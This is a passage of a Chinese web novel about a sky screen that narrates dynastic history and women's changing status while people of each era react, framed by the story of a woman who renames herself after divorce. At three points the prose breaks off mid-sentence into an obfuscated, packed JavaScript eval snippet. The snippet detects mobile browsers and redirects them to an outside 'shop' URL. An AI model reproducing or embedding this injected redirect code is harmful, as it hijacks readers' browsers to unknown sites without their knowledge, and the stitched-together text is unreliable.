《历史直播，历代女性社会地位变迁》 1. 朝代介绍 滋~~滋滋~~滋滋~~ 滋滋~~滋~~滋滋滋~~ 诸朝听得天上传来一阵“滋滋滋”的声音，不待抬头看去，一阵乐声紧随而来。 还没来得及惊喜“仙乐”降世，只见随着乐声响起，天空骤然出现一块方形天幕。 上面一排穿着各朝代服装的女人，依次唱起戏词： 刘大哥讲话理太偏， 谁说女子享清闲？ 男子打仗到边关， 女子纺织在家园。 白天去种地， 夜晚来纺绵， 不分昼夜是辛勤把活儿干， 这将士们才能有这吃和穿。 你要是不相信呐， 请往这身上看， 咱们的鞋和袜， 还有衣和衫， 千针万线可都是她们连呐。 有许多女英雄， 也把功劳建， 为国杀敌是代代出英贤， 这女子们哪一点不如儿男。 乐声停止，一女人声音响起： 【大家好，我是不系之舟，我们这一系列视频的主题是《历代女性社会地位变迁》。】 听到这里，各朝代人反应不一。 大多都是：先是激动“仙迹”降临，又是疑惑为何要讲女子的事情。就不能直接为他们降下福泽吗？ 唐之前的朝代，众人反应尚算平静，以观望为主。比较好奇会讲女子什么，如果女子能带来意想不到的好处，也并无不可。 唐之后的朝代，尤其明清两朝，读书人顿时炸了锅。讲女子的事情有何用，她们就该好好地在家相夫教子，还能反了天不成？ 不管哪个朝代，每一个看到天幕的女子，内心都不由紧张与期待起来，天上的神仙降世，要为她们带来什么呢？ 如吕后、邓绥、武皇、李清照之流，看到“女性、地位、变迁”已经懂了天幕的意思，并在内心思索起来。 当然也有不在意的，女子生来如此，陷在后院被各种磋磨，又能怎么样呢？ 天幕暂时不关心以上种种反应，只继续自己地播放。 【既然是“历代”，那我先来讲一下每个朝代的时间划分。虽然大家都知道，我们再一起简单回顾一下吧。不想再看一遍的，可以跳过这一部分哦。】 随着不系之舟话音落下，天幕显示出一张图，上面文字都是每个朝代的常用字体，只是看起来相当不习惯。与默认竖排从右向左行文不同，这是横排从左至右的。 【大家都知道，按照社会历史发展的不同阶段，人类社会可划分为五种社会形态，即：原始社会、奴隶社会、封建社会、资本主义社会、共产主义社会。 恩格斯认为，劳动是原始社会人与动物之间的根本区别。 自从有了人，就开始了人类社会的历史。 华夏的原始社会，是从约170万年前的元谋人出现，到约公元前2070年夏王朝建立。 有原始人群和氏族公社两个时期。而氏族公社又经历了母系氏族公社和父系氏族公社两个阶段。 大约在四、五万年前，古人进化为新人时，华夏原始社会进入了母系氏族社会。 约5500年至4000年前的一段时期，母系氏族社会为父系氏族社会所取代。 随着父系氏族公社地出现，私有制也产生了。私有制地出现引起了原始社会制度地瓦解，奴隶社会应运而生。从这时开始一直到现在，“一切社会的历史都是阶级斗争的历史。” 华夏的奴隶社会是从夏朝建立开始，历经商朝、西周，到公元前476年春秋时期结束。 表格框定内容： 夏朝：前2070年-前1600年； 商朝；前1600年-前1046年； 西周：前1046年-前771年； 春秋：公元前770年-公元前476年。】 听到这里，很多古人都一头雾水。 “春秋？春秋是什么朝代？” “《春秋》不是一本书吗？” “还有我不知道的朝代不成？” “那不应该是东周吗？时长也不对啊。” “夏商周是……是，是奴隶社会吗？我觉得和我们现在也没啥不同啊，除了那个井田制。” “那就是说，《周礼》是奴隶社会的产物吗？那……那我们推崇周礼，是退步吗？” “一派胡言！荒谬！荒谬！！” “妖言惑众，” “周监于二代，郁郁乎文哉，吾从周。” …… 【有关原始社会，我们可以从先秦先贤笔下有关的记载中，窥探一二。 韩非在《五蠹》中写：“上古之世，人民少而禽兽众，人民不胜禽兽虫蛇。” 意思是：在原始社会，人的数量要比动物少，人不仅打不赢动物，甚至还有可能沦为动物的食物。 原始人在当时的生活艰苦，可见一斑。 这也是达尔文《物种起源》里面“生物进化论”的“适者生存，优胜劣汰”的写照吧。如果先民没有努力适应当时的生存环境，并有意识的改造环境、驯化动植物，也就没有我们现在了。 《黄帝内经·素问》篇：“往古之人居禽兽之间，动作以避寒，阴居以避暑。” 意思是：原始人跟动物生活在相同的环境，寒冷的时候通过运动来保暖御寒，炎热的时候居住在阴凉的地方降温避暑。 看到运动取暖，就想到每到冬天，就会看到北方过冬靠暖气，南方过冬全靠抖。 确实，颤抖可在短时间内产生相当多的热量，它是人体抵御寒冷的本能反应。 这个“本能反应”，应该就是先祖进化遗传下来的技能吧。 《礼记·礼运》记载：“昔者先王未有宫室，冬则居营窟，夏则居橧巢。未有火化，食草木之实，鸟兽之肉，饮其血，茹其毛。未有麻丝，衣其羽皮。” 意思是：在原始社会，因为没有人会建造宫室，所以人们冬天就住在土垒的洞穴里，夏天就住在棍棒搭成的巢窠里；因为没有人会使用火，所以人们只好生吃草木的果实和鸟兽的肉，喝鸟兽的血，将肉和毛一起吞吃；因为没有人知道麻丝可以织衣服，所以人们只好把鸟的羽毛、野兽的皮当衣服。 这里可以看出原始人衣、食、住方面的不易。 马斯洛需求层次理论中，生理需要是人类生存的最基本需要，包括饥、渴、衣、住、性等方面的需要。如果这些需要得不到满足，人类的生存就成了问题。只有这些最基本的需要满足到维持生存所必需的程度后，其他的需要才能成为新的激励因素。 这一理论不仅适用于个人，也在社会不同阶级中有所体现。 这也是每个不同社会形态转变的原因。 奴隶社会的产生是私有制的出现，土地私有制与封建社会相辅相成。】 “先民的生活就是衣不蔽体、食不裹腹、茹毛饮血啊。” “我们冬天冷的时候，也会情不自禁的抖，都是先民的习惯啊，怪不得呢。” “古人没有好武器，我们现在刀枪剑戟，看见野兽，保管一箭一个准。” “这个马先生说得对啊，有的吃穿住，我们家才能供应我读书考科举。” “这天幕怎么什么都往外说，伤风败俗啊真是。” …… 【奴隶社会井田制地瓦解废除和?封建地主土地私有制地确立，标志着封建社会地出现。 从公元前475年战国时期开始，到1840年鸦片战争爆发，是华夏的封建社会。 封建社会包含了五个阶段： 第一阶段：封建社会地确立和初步发展——战国、秦、汉 其中汉朝分为西汉、东汉，当然还有三国时期的蜀汉。 表格框定内容： 战国：前475年-前221年； 秦朝：前221年-前206年；（西楚：前206年-前202年；） 西汉：前202年-9年；（新朝：9年-23年；） 东汉：25年-220年。】 秦始皇时期 “我大秦只有区区16年？！” “天幕一定要说说我大秦为何而亡的啊！” “还是要去找方士，寻求长生之药，不然朕的大秦，朕的祖宗之业……是扶苏还是谁？” “暴秦快亡了！好啊好啊！我们复国有望了。” “区区十余年，我们六国之士等得起。” …… 西汉 “为何我大汉分为西汉、东汉了？” “新朝？我大汉被篡权了？！” “乃公的大汉有400余年，也不错啦，比秦长了这么多呢，当浮一大白！” “朕的大将军和冠军侯赶走了匈奴，为何……为何？后面发生了什么呢？” “东汉后面的三国？我大汉分裂了吗？” …… 天幕不理会他们的破防与期待，继续自己的节奏。 【第二阶段：封建国家地分裂和民族大融合——三国、两晋、南北朝 从东汉结束到隋朝完成统一的381年，中间仅有36年的大一统，其余时间皆为纷争、战乱、分裂。 尤其三国之后，摘了三家桃子的两晋司马氏，内部陷于争权夺利，致使游牧民族南下，五胡乱华、衣冠南渡，是为中国历史上汉民族第一个浩劫时代。 表格框定内容： 三国时期：226年-280年； （曹魏：220年-265年；蜀汉：221年-263年；东吴：229年-280年） 西晋：265年-316年； 东晋：317年-420年； 南北朝：420年-589年。】 “司马氏？哪个司马氏？司马懿，是你的司马氏吗？！呵。” “五胡乱华？真是无能！司马氏是史书上的罪人啊！” “五胡十六国，真的野蛮又残暴！！！” “也就是说，我们魏蜀吴，为他人做了嫁衣？！” “司马氏之心，路人皆知。当街弑君，不认不义不忠之徒。” “是司马光的司马家吗？啊这……” …… 【第三阶段：封建社会的繁荣——隋、唐 隋唐，是经历了五胡乱华和南北朝两个漫长时期后的两个大一统王朝，也是中国历史上强盛的时期之一。 表格框定内容： 隋朝：581年到618年； 唐朝：618年到907年。】 “隋只有三十余年？不会和秦一样，二世而亡吧？” “是太宗皇帝的巨唐啊！” “我们还能创造大唐那种荣耀吗？” “我们大唐……还不到300年吗？” “婉儿，你说，后面的人是怎么把武周算进唐里面的？看来……呵。” “我大唐盛世，万国来朝，怎么可能怎么快灭亡？！天幕一定是危言耸听！是吧贵妃。” …… 【第四阶段：民族融合地进一步加强和封建经济 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581228|143112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地继续发展——五代、辽、宋、夏、金、元 五代十国，是唐末藩镇割据的延续。 这一段时期属于多民族竞争时期，五代十国辽宋金夏(907年-1279年)，是又一个长达300多年的南北对峙大分裂时代。 直至1279年，元朝统一灭南宋完成统一，大分裂结束。这也是第一个少数民族统一政权。 表格框定内容： 五代十国：907年到979年；（辽：907年-1125年；） 北宋：960年到1127年；（金：1115年-1234年；西夏：1038年-1227年；） 南宋：1127年到1276年； 元朝：1271年到1368年。】 “唐朝实亡于玄宗啊。” “又是胡人，亡我之心不死啊！” “大宋，改名叫大怂算了。” “靖康耻，犹未雪。臣子恨，何时灭。岳飞，可惜了。” “宋从欺负孤儿寡母开始，后来的结局就注定了吧。” “也就是说，我们大宋不仅要面对辽、西夏、还有金和元？！” “大宋这是……地狱局面吧。内忧外患。” “辽宋澶渊之盟，有利也有弊。” “联金抗辽，真是短视啊。” “元，还不到100年呢，一定很残暴吧。” …… 【第五阶段：统一的多民族国家地巩固和封建制度地逐渐衰落——明、清（鸦片战争以前） 明清，是封建社会由盛而衰的时期，是中国封建社会统一的多民族国家地巩固和封建制度地逐渐衰落时期。 明朝是中国历史上最后一个由汉族建立的封建王朝。 清朝，是由满族人在远东建立，被普遍认为是中国的最后一个封建王朝。 表格框定内容; 明朝：1368年到1644年； 清朝：1636年到1840年鸦片战争。】 “我大明亡于鞑子？！” “朕辛辛苦苦驱除鞑虏，最后子孙把基业又败给鞑子了？？？” “太子、乖孙，你们不赞成朕南征北战，你们一定不重军事，给后代开了个好头吧！” “鸦片战争？是什么战争？？” “最后一个封建王朝，是什么意思？以后没有了？！” “鸦片，是阿芙蓉吗？我大清亡于此，真是丢脸啊！” …… 【古代史讲完，接下来就是近代史和现代史了。 半殖民地半封建社会：1840年鸦片战争-1949年新华夏成立 清末鸦片战争、第二次鸦片战争、甲午海战、八国联军侵华战争等，清政府与五十余国缔结了300余份不平等条约，实际支付各种战争赔款共计约1326323847银元（未计入被掠夺的黄金白银和文物）。割让出去了320多万平方公里的土地。（经过华夏不断努力收复了一部分，还有多达158万平方公里的国土丧失，约占清朝巅峰时版图的12%。） 这是华夏逐渐沦为半殖民地半封建社会的屈辱史，也是华夏人民追求国家独立和民族复兴的历史。 华夏近代史分为前后两个阶段： 旧民主主义革命阶段：从1840年鸦片战争到1919年五四运动前夕， 新民主主义革命阶段：从1919年五四运动到1949年新华夏成立前夕。 表格框定内容： 清晚期：1840年-1912年； 民国时期：1912年-1949年； 新华夏：1949年至今。】 “太医，快叫太医！”清朝各时空喊叫之声不绝。 “这样的大清，我们有必要为他卖命吗？鞑子就是鞑子！” “半殖民地……不会是我们和那印度、南越一样被洋人占了？” “可不就是屈辱史吗？真该死啊！” “不平等条约，又割地又赔款，真无能啊！！！” “可恨、可悲。” “国家独立、民族复兴，说得好啊！” “革命、民主、殖民地……是什么意思？” “看这情况，后人一定是赶走了洋人，没有亡国灭种！真好啊！！” …… 【这一期视频就到这里，让我们听着《朝代歌》说再见吧，下期见咯。】 夏后殷商西东周，春秋战国秦皇收， 西汉东汉魏蜀吴，西晋东晋兼五胡。 匈奴羯氐羌慕容，拓跋代北后称雄。 宋齐梁陈是南朝，北魏齐周称北朝。 北周灭齐传于隋，隋又灭陈再统一。 隋灭唐兴称富强，五代十国各称王。 契丹兴起在北方，建号为辽入汴梁。 五代梁唐晋汉周，宋朝建国陈桥头。 女真建金先灭辽，打破汴京北宋消。 南宋偏安在江南，蒙古兴起国号元。 灭金灭宋归一统，元朝统治九十年。 明代共传十六君，满洲初起号后金。 后金国号改为清，入关称帝都北京。 人民觉悟革命起，清帝退位民国立。 人民民主再胜利，齐心奔向共产国。 “这朝代歌听着朗朗上口，就是……就是出现太多胡人了。” “每次看到每个朝代的灭亡，就觉得有无数百姓的血泪。” “朝代不能长久吗？都是转瞬即逝啊。那我们为之努力的意义呢。” …… 2. 恭喜招弟 视频结束，天幕隐去，就像从未出现过一般。 各朝代的人都在或惊恐茫然、或愤怒悲愤、或欣喜言欢。 这些都不为徐行所知。 但她还是蛮开心的，刚刚看了眼播放数据，比预想中好太多。 第一次尝试剪辑视频，就有这么好的播放量，顿时干劲十足地准备下一期的内容。 说起来，因为想要庆祝自己改名字成功，一时冲动下就想做点什么，给和她有相似经历的女性看看。 看看几千年来女性的地位变化，看看那些历史中闪光的女性，再看看现下的处境。 明确当下的选择和前进的方向，唤醒那些迷茫的痛苦的忍耐的。 不要像历史记载那般，由高到低，一点点地温水煮青蛙般地滑下去，滑到谷底。 生死皆不由己。 徐行改名前叫徐招弟，小时候觉得没什么，周围叫盼弟、来弟的很多，与她同名的也很多，觉得很正常。 直到长大了，上大学工作了，周围人看到她的名字，总会会心一笑，然后问她：“招弟，你有弟弟吗？你弟弟是你招来的吗？” 次数多了，她才觉得自己的名字，既刺眼又刺耳。 有次回家，问父母为何要给她取这么个名字。 母亲一听，顿时不乐意了，“这名字有啥不好，没有这个名字，你能有你弟弟吗？你不会是想改名字吧，先说好，我不同意！” 她顿时如被兜头泼了一桶凉水。 回想这么多年，在家里父亲大多时候是缺位的，他总有自己的事情要忙，总有应酬不完的酒桌，甚至还要母亲善后。 相处最多地是母亲和弟弟。母亲也总是在忙，做饭、洗衣、打扫、去地里干活…… 与她相处最多的还是弟弟，那时候他们总会有争执，吵起来或者打起来如家常便饭。 每到那个时候，她总是受欺负的一个，不管吵赢还是打赢，不管是不是她占理。 因为总有母亲在帮弟弟。 母亲待她确实不如弟弟好。 要说对她不好吧，母亲又好像是爱她的。 不像其他家里，女孩子早早就让辍学出去打工了。 但这种爱和对弟弟的是不一样的。 对弟弟是底气，是期盼。有了男孩子她在家里腰杆子都硬了。 “有时候在想如果她是晚于弟弟出生，她的处境会不会好一点，但假设是没有用的。”她想。 对弟弟是要他顶立门户，要他继承家业，要养儿防老。是自己人。 对她呢，就好像是在对待外人，是在给所谓的婆家，给别人教养女儿，或者说是媳妇。 要听话顺从，要乞求善待，像她一样忙里忙外、生儿育女，就这么一生。 像宠物，给口饭吃。像培养老黄牛，要兢兢业业一丝不苟。 消耗自己，照顾别人。 对她都是在命令、要求、指责。 年纪小的时候是这样的： “招弟，你和你弟弟争什么，你是大的，真不懂事。” “招弟，这都啥时候了，饭你也没做，你在干嘛！” “招弟，你下去去地里拔草，早点去啊。你弟弟，你弟弟还小。” “你看你怎么就不长个子，真矮。” “你该减肥了，你看你胖的。” “你这个衣服不好看，不要穿了。你腿那么粗，减减肥吧。” “你就那几根细黄毛，天天梳个没完了。” “你看看你姐学习多好，你看看你才考几分。” “来跟我学蒸馒头，学不会，以后找不到婆家。” “你看你懒得，以后谁要你啊。” “你看隔壁那谁家的姑娘，多麻利。” “为啥给你弟买鞋没给你买？那不是家里没钱吗？” …… 长大一些了变成了这样： “以后都得靠你自己，家里是没办法帮你的。” “家里的东西都是你弟弟的，你别想。” “你看看那谁家孩子工作多好，公资多高，你看看你。” “这次出去给你弟弟买了手表，没给你带东西，反正你自己挣钱能自己买。” “放假了早点回来帮忙，你爸你弟都不着家。” “过年必须回来，你某姨给你介绍了对象，你都多大了。” “你以为自己条件多好，这看不上那相不中的。” “你不结婚我和你爸都抬不起头，丢死人了。” “差不多得了，过日子不都是这样吗？谁不是这么过来的。” “生个孩子有啥难的，你怕啥。” “你离婚了？！谁让你离婚的！丢不丢人啊！” “你不要脸，我们还要。你去和小张复婚去。” “后悔让你读那么多书，后悔让你出生。” …… 最近快刀斩乱麻地离职离婚，家里翻了天了，好像她是十恶不赦的坏人。 母亲好似不了解她，又好像特别了解她，每次都能直戳她心窝子。 最近听到这句“后悔让你读那么多书，后悔让你出生。” 坚强了很久的她，是真地觉得崩溃了，反反复复在脑中循环这句话。 “自己真的那么没有价值？”内心开始怀疑自己。 之前每次听到类似这些话，不是不难过，只是习惯了。 但这句话，犹如压垮骆驼的最后一根稻草，让她一下子清醒了。 她想怨恨、想发疯，可是她忍住了。 她清醒地知道，没有用。因为前几代人，都不健康，对，是心理不健康。 根深蒂固的，无法扭转。 她母亲，姐妹6个，没有兄弟。外公外婆，因为没有儿子，觉得抬不起头。 几个姐妹，从小生活环境就是扭曲的。所以厌女，所以对儿子有近乎疯狂的执着。 而外婆，从小在继母手底下讨生活，环境一样的不正常。 一个姨妈招赘了，几个孩子都跟父姓已经很能不理解了，他们还要跟姨父的其他兄弟一样，承担那边同样的家里的一切事务，没有一点顾忌，就好似没有入赘一样的。 啊这……不是吃绝户吗？ 这就是没有底气吧。 然而他母亲的堂兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581229|143112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟，还想把那个招赘姨妈住的房子收走，名为你是嫁出去的人了，这房子、宅基地本来就是我们老某家的。 然后吵了一架、打了一架，不了了之。 如果不发狠、发疯、撕破脸的如男性一般的抢夺。 那女性连立锥之地都要没有了。 作为佐证的，是一个朋友家。 朋友母亲也是只有几个姐妹，没有兄弟。 朋友的外婆去世后，她外公就住进他们家了，他们的老房子给了她母亲的堂兄弟。 当时说他们老某家的房子不能姓别的姓。 朋友和她姐姐，不知道是不是从小也因生活环境的各种不舒服，一直没有结婚。 这么想想，苦难好似总是在流向女性。 甚至，女性总是在为难女性，拉着一起共沉沦。 也可以说是女性的苦难，一直在代际之中扩散。 只是大家都习惯了，女人都是这样，你不一样你就是异类，要被孤立被批判。 而她们，习惯了随大流，融于集体，不出格，才能，安全的活。 最近看到：女儿和母亲相处的角色是老公。 觉得有些难以言状的悲哀。 本该提供情绪价值、分担家务劳动的丈夫隐形了，本该共同育儿的爸爸消失了。 丧偶式婚姻、丧偶式育儿的妻子和妈妈们，还在拉人共沉沦。 鼓吹婚姻的利好价值。 而婚姻中需要被安抚、安慰的女性，在丈夫和儿子那里找不到出口的时候，女儿就成了第一选择。 女性总是被默认为是提供情绪价值的那一方，女儿之于父母，妻子之于丈夫，妈妈之于儿子，总是如此。 而她，不愿意如此。再说了，从来如此，就是对的吗？ 想明白了之后，她就离婚了，义无反顾地、迫不及待地，不想强迫自己重复同样的、没有意义的痛苦了。 尤其看到最近的新闻，甚至有种后怕的庆幸。 【《婚姻登记条例（修订草案征求意见稿）》在民政部网站全文公布并公开向社会征求意见。根据草案的规定，离婚登记申请之日起三十日内，任何一方不愿意离婚的，可以向原申请离婚登记的婚姻登记机关撤回离婚登记申请，婚姻登记机关应当终止离婚登记程序。】 离婚不太容易，她体会过了，差点就要就走诉讼程序，真要那样，岂不是要浪费很多时间和精力在那个上面了。 如果再设置一道门槛，她很有可能就迈不过去了。 离婚后，她就去申请改名字了，再也没有人能管她。 改成“徐行”，取自苏轼的“何妨吟啸且徐行”。 任疾风骤雨，我自悠然前行。 她要开始全新的生活了，终于，自由了。 和那个“听话”的、“懂事”的、“忍耐”的、“顺从”的自己告别。 为了奖励自己，给自己一点时间，尝试自媒体的工作，走不同的路看看不同的风景。 如果不行，再试试其他的路。 总之，不想在既定轨道上，结婚、生子、催孩子结婚、催孩子生子……一眼望到头了。 3. 女性地位 不同时空，刚用过朝食。 天幕伴随着“滋滋声”和《谁说女子不如男》的戏曲声，逐渐亮起。 【哈喽，大家好，我是不系之舟。 我们继续《历代女性社会地位变迁》这一主题的内容。 离婚冷静期可单方面申请撤销、婚姻登记凭居民身份证无需户口本即可办理，无疑是最近最火的话题。 婚恋、彩礼、生育……围绕性别地争论，总能成为舆论讨论的焦点。 而性别话题舆论硝烟的背后，并非是一个个孤立的热点事件，而是在华夏历史甚至是世界历史中如影随形、附骨之疽般的存在，是整个世界都存在的社会问题。 古代女性大多湮没在历史尘埃，女性的问题不是不存在，而是被无视了。 华夏的女性权利，在建国后取得了不小进步，“妇女能顶半边天”成为了共识。但这并不代表，女性真的拥有和男性同等的地位。对于女性的偏见，仍然根深蒂固。 马丁·杨克曾说：“女人是一个国家的风向标，当女人追求知识时，这个国家是进步的；当女人崇尚自由时，这个国家是文明的；当女人崇拜金钱时，这个国家是腐化的；当女人攀附权贵时，这个国家是堕落的。” 女性在社会中的地位，及其受尊重和保护的程度，反映了这个社会的文明程度。 华夏数千年女性地位史，反映的正是社会史地变迁。 接下来，让我们从历史到现代，看看女性在不同时代的社会中，地位有何不同。】 “离婚，是和离吗？冷静期可单方面申请撤销是啥？就是一方不同意就不能和离的意思吗？那都有一方过不下去了，还不让和离啊？” “什么？结婚还要到官府登记吗？还好我们这没有，不然给我弟弟买的媳妇可就不好办了。” “彩礼、生育，有什么好讨论的，谁结婚不给彩礼，谁结婚不生娃啊？” “性别话题？！女人就该以夫为天，三从四德，在家相夫教子。讨论什么？还想翻天吗？” “崇拜金钱、攀附权贵有啥不好，我努力考功名，不就为了得到这些，黄金屋和颜如玉吗。” …… “离婚冷静期，我，我爹娘说族长不允许外嫁女和离，会坏了家族名声。” “我们大多数女子，连名字都没有，嫁人了也都是某某式，待在后院的女人，怎么不会被遗忘呢。就像，，就像我们从未来过，从未，从未存在过一般吧。” “女人的问题被无视，可不就是吗。我也想和弟弟一样读书，可是父亲说：女子无才便是德。” “妇女能顶半边天，妇女能顶半边天……这应该不是男主外女主内的半边天吧。” “拥有和男性同等的地位！追求知识、崇尚自由，那定是神仙所在的世道吧。” …… 【第一期视频，我们讲了社会形态和朝代划分，我们先来看看不同社会形态下的女性地位。 原始社会早期，以血缘关系为纽带组成的较为松散的社会组织，由于面临的生存环境恶劣，获取食物艰难。需要群体成员彼此协作，集体渔猎，合力防御野兽侵袭，才能勉强维持生存。共同劳动，必然导致平均分配，没有剥削和压迫。 《吕氏春秋·恃君览》所言：“凡人之性，爪牙不足以自守卫，肌肤不足以御寒暑，筋骨不足以从利避害，勇敢不足以却猛禁悍，然且犹裁万物，制禽兽，服狡虫，寒暑燥湿弗能害，不惟先有其备而以群聚耶？群之可聚也相与利之也，利之出于群也。” 《尉缭子·治本》：“天下为一家，而无私耕私织，共寒其寒，共饥其饥。 这个时期，女性和男性是平等合作的。 到了母系氏族社会，青壮男子外出狩猎、捕鱼。妇女则采集果实、看守住所、加工食物、缝制衣服、管理杂务、养护老幼等。因当时采集比渔猎收获稳定，是维系氏族生活的基本保证。妇女在生育上的特殊作用，使其在氏族中居于主导的地位。 故而这一时期，母权得到发展，女性占据更高的地位。 由于逐渐的定居生活，氏族开始原始种植及手工制陶。男子在农业、畜牧业和手工业等主要生产部门中开始占据主导地位。同时氏族间战斗增加，男性优势进一步凸显。母权制开始向父权制过渡。 父系氏族社会中，女性转变为从属地位。】 “原来那么早，女性就开始不如男子了吗？” “呵，无知妇人，女人的力量怎么能抗衡我们呢。” “是吗？那你怎么还惧内呢？” “什么？什么？这位大人惧内吗？没看出来啊，详细说说。” …… 【恩格斯在《家庭,私有制和国家的起源》中，以母权制存在史实否认费希特等资产阶级意识形态宣称的"男权主义自然合理性"，用男女两性原始社会的自由平等否认专偶制男性淫游特权，以自由个性为爱而爱的两性关系畅想批判权衡利益的两性观。 对于女性地位来说，原始社会开场即高潮。 这一男女平等合作的理想状态，是开始，也是共产主义的最终理想化结果】 恩格斯还说：“决定两性间的分工的原因，是同决定妇女社会地位的原因完全不同……外表上受尊敬、脱离一切实际劳动的文明时代的贵妇人，比起野蛮时代辛苦劳动的妇女来，其社会地位是无比低下的，后者在本民族被看作是真正的贵妇人，而就其地位的性质来说，她们也的确如此。” 确实如此，就横向对比女性地位而言，封建社会的贵妇，远远不如原始社会的女性的。】 “天幕，不要瞎蛊惑女人了，女人出来和男人抢活干，那是不守妇道。” “男女平等？别妄想了。” “女人就该服务于男人，传统历来如此！” “我们要警惕女人牝鸡司晨！” “原来，女人不是一直都是如此的啊……” “贵妇人不如劳动妇女吗？” “那要……那要如何做呢？” …… 【由于劳动生产率地提高，随着剩余产品地出现，私有制开始产生，氏族内部贫富分化加剧，富裕氏族贵族对贫困氏族成员奴役日益加深。 债务奴隶、惩罚罪犯、战争掠夺、拐卖人口、奴隶买卖、家生奴隶等数量不断增加，作为奴隶主阶级镇压奴隶和其他被剥削者工具的奴隶制国家应运而生。 奴隶社会早期，保留母系氏族部分遗俗，女性有较独立的个人财产与人格自由，不受过多限制地与男性一起进行社会活动。 《库方二氏所藏甲骨卜辞》130 ：“辛巳卜，贞：登妇好三千登旅万，伐乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581230|143112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' [羌]。” 大意是：辛巳这天进行占卜，贞问妇好（商王武丁之妻）是否可以带领13000名军士征伐羌方。 足以可见，当时女性可以直接参与王朝的军国大事并担任职务。 到了后期，为巩固和强化男性的支配地位，制定一系列宗法伦理信条，女性沦为男子的附庸。 如：《周礼》确立的全部规范和制度中，始终贯穿着“亲亲”、“尊尊”、“长长”、“男女有别”四个原则。“男女有别”即为男尊女卑。 《礼记·郊特牲》里说：“妇人，从人者也，幼从父兄，嫁从夫，夫死从子。” 这个大家都知道吧，“三从四德”的那个“三从”。 《诗经》：“乃生男子，载寝之床。载衣之裳，载弄之璋。其泣喤喤，朱芾斯皇，室家君王。乃生女子，载寝之地。载衣之裼，载弄之瓦。” 意思是说，如若生了个男孩，就要让他睡床上；给他穿上好衣裳，让他玩弄白玉璋。如若生了个女孩，就要让她睡地上；把她裹在襁褓中，给她玩弄纺锤棒。 男女从出生时便被定，女子生来就注定无法与男子享同等的权力。 就是这样，在奴隶社会，女性的社会地位不断下降。从参与政治到完全成为男性的附庸。】 “妇好，吾辈楷模啊。我们现在出个门都不容易啊。” “男尊女卑，之后就是重男轻女。可怜我的女儿刚生下来就被丢了。” “从出生就被决定的命运，老天不公，我不服气！” “得了吧，女人就是女人，就是为男人而生的。” “我们大秦还好诶，男人休想让我们成为那什么，附庸，哦对，附庸。” …… 【私有制出现以后，女性就开始了被牺牲品化的历史。 恩格斯进一步指出奴隶社会下父权制确立，这一变革的历史意义：“母权制被推翻，乃是女性的具有世界历史意义的失败。丈夫在家中也掌握了权柄，而妻子则被贬低，被奴役，变成丈夫□□的奴隶，变成单纯的生孩子的工具了”。 “在历史上出现的最初的阶级对立，是同个体婚制下夫妻间的对抗的发展同时发生的，而最初的阶级压迫是同男性对女性的压迫同时发生的。个体婚制是一个伟大的历史进步，但同时它同奴隶制和私有制一起，却开辟了一个一直持续到今天的时代，在这个时代中，一些人的幸福和发展是通过另一些人的痛苦和受压抑而实现的。” 女性的被压迫、奴役也开始了，且一直延续至今。 但，总有改变的一天，不是吗？ 正如，母系氏族社会被取代一样，也可以再次重新夺回！ 我坚信！】 “这个恩……恩郎君，怎么一直说些人听不懂的话呢？” “哪里都把女人变成奴隶、生孩子的工具了？不是还让她们掌家吗。” “我们女人……都是被贬低、奴役的吗？也不完全是吧。等他回来，敢说啥，就让他跪院子里去。” “可不是吗？女人在后院除了伺候男人、女主人、老人、孩子，不就只能生孩子了。原来，是这么来的啊。” “男人真是冠冕堂皇、伪君子、真小人……” “我们何时才能不被这么折磨呢？我的脚裹得好疼啊！” …… 4. 女性地位 【春秋战国时期，由于耕牛和铁农具地广泛使用，促使农业生产力水平提高，大量荒地被开垦，私有土地急剧增加，井田制逐步瓦解，封建地主阶级兴起，封建制度逐渐形成。 封建社会形态，由此出现。 大家还记得上期内容，我们讲到社会形态的时候，关于华夏封建社会的几个阶段以及朝代顺序吧。 我们先以战国时代大工商业主，华夏乃至世界上最早的女企业家巴清为例，看看不同时代对她的评价： 《史记·货殖列传》：“清，寡妇也，能守其业，用财自卫，不见侵犯。秦皇帝以为贞妇而客之，为筑女怀清台。” 意思是：清是个寡妇，能守住先人的家业，用钱财来保护自己，不被别人侵犯。秦始皇以上宾之礼待她，为她修筑了女怀清台。 历史上，帝王为表彰女子筑台纪念，是秦始皇独创，可见其之推崇。 宋仁宗时中书令夏竦在《女怀清台铭》里批评寡妇清： “妇越闺户，预外事，是非贞也；图货殖，忘盥馈，是非孝也；采丹石，弃织纴，是非功也；抗君礼，乖妇仪，是非德也”。 表现宋代时对工商业和女性的压迫思想。 